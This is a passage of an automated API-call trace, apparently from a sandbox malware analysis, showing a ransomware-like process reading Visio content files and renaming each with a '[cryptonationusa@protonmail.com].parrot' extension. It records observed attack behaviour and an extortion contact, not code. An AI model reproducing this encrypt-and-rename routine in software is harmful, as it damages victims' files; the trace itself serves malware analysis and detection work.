lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0229.179] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0229.180] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.180] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x42800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x42800, lpOverlapped=0x0) returned 1 [0229.194] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.201] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SHPMCH_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\shpmch_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SHPMCH_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\shpmch_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0229.209] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0229.210] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0229.211] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.211] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x34000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x34000, lpOverlapped=0x0) returned 1 [0229.221] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.226] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SHPREC_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\shprec_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SHPREC_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\shprec_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0229.233] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0229.233] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0229.234] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.235] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x30000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x30000, lpOverlapped=0x0) returned 1 [0229.246] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.251] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SHPREC_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\shprec_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SHPREC_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\shprec_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0229.260] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0229.260] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0229.261] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.261] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x58e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x58e00, lpOverlapped=0x0) returned 1 [0229.277] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.293] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SHPSTR_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\shpstr_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SHPSTR_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\shpstr_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0229.352] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0229.352] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0229.353] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.353] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x59600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x59600, lpOverlapped=0x0) returned 1 [0229.372] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.388] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SHPSTR_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\shpstr_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SHPSTR_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\shpstr_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0229.398] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0229.398] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0229.400] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.400] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x22e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x22e00, lpOverlapped=0x0) returned 1 [0229.412] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.417] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SITACC_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sitacc_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SITACC_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sitacc_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0229.425] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0229.425] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0229.427] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.427] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x22a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x22a00, lpOverlapped=0x0) returned 1 [0229.436] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.441] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SITACC_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sitacc_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SITACC_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sitacc_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0229.449] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0229.449] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0229.451] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.451] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x36400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x36400, lpOverlapped=0x0) returned 1 [0229.463] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.470] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SITPLN_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sitpln_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SITPLN_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sitpln_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0229.523] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0229.523] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0229.525] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.525] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x36400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x36400, lpOverlapped=0x0) returned 1 [0229.539] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.546] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SITPLN_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sitpln_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SITPLN_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sitpln_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0229.555] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0229.555] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0229.557] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.557] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8000, lpOverlapped=0x0) returned 1 [0229.564] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.566] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SIXSIG_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sixsig_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SIXSIG_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sixsig_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0229.574] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0229.574] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0229.575] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.576] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8000, lpOverlapped=0x0) returned 1 [0229.577] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.578] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SIXSIG_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sixsig_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SIXSIG_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sixsig_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0229.585] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0229.585] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0229.587] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.587] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1f200, lpOverlapped=0x0) returned 1 [0229.590] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.625] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SPCPLN_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\spcpln_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SPCPLN_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\spcpln_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0229.646] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0229.646] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0229.647] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.648] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1f200, lpOverlapped=0x0) returned 1 [0229.653] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.659] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SPCPLN_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\spcpln_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SPCPLN_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\spcpln_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0229.668] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0229.668] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0229.705] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.705] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x44400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x44400, lpOverlapped=0x0) returned 1 [0229.720] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.729] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SPRBR_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sprbr_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SPRBR_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sprbr_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0229.738] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0229.738] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0229.753] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.753] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x43200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x43200, lpOverlapped=0x0) returned 1 [0229.770] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.779] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SPRBR_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sprbr_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SPRBR_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\sprbr_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0229.893] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0229.893] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0229.894] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.895] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x55a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x55a00, lpOverlapped=0x0) returned 1 [0229.912] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.925] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SPWA_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\spwa_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SPWA_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\spwa_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0229.934] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0229.934] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0230.059] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.059] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x55c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x55c00, lpOverlapped=0x0) returned 1 [0230.079] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.141] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SPWA_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\spwa_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SPWA_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\spwa_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0230.195] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0230.196] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0230.197] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.197] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x20000, lpOverlapped=0x0) returned 1 [0230.210] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.213] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SPWC_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\spwc_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\SPWC_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: 